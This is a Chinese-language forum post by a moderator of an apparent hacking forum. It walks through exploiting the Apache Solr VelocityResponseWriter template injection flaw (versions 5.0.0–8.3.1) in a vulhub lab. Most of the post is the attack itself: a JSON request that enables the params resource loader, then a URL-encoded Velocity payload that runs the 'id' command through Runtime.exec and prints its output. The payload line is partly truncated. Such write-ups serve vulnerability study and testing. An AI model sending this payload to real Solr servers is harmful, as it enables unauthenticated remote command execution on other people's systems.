taibeihacker
Moderator
Apache Solr 模板注入远程代码执行漏洞
Apache Solr 是美國阿帕奇(Apache)軟件基金會的一款基於Lucene(一款全文搜索引擎)的搜索服務器。 Apache Velocity 是一個提供HTML 頁面模板、email 模板和通用開源代碼生成器模板的模板引擎。在Apache Solr 的多個版本中,Apache Solr 的VelocityResponseWriter 功能的配置參數可通過HTTP 請求指定,導致用戶可通過設置特定參數後,通過注入任意Velocity 模板造成任意命令執行。影响范围
5.0.0=Apache Solr=8.3.1环境搭建
可用vulhub 的solr 環境進行複現1
2
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
將contrib/velocity/lib 中以velocity 開頭的jar包複製到server/solr-webapp/webapp/WEB-INF/lib/下:

重啟solr 服務。
漏洞复现
在滿足以上環境條件的情況下,利用此漏洞分兩步驟。先通過一個HTTP 請求將params.resource.loader.enabled 這個關鍵的參數設置true,這樣就能允許任意的模板代碼從用戶的HTTP 請求中指定。然後再通過指定任意Velocity 模板代碼執行任意命令。由於Solr 默認未開啟認證,在這種情況下,此漏洞利用不需要登錄憑據。1
2
3
4
5
6
7
8
9
10
{
'update-queryresponsewriter': {
'startup': 'lazy',
'name': 'velocity',
'class': 'solr.VelocityResponseWriter',
'template.base.dir': '',
'solr.resource.loader.enabled': 'true',
'params.resource.loader.enabled': 'true'
}
}

發送payload:
訪問:http://ip:8983/solr/test/select?q=1...$x.class.forName('java.lang.Character'))+#set( $str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1.$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

執行id 命令的返回結果:

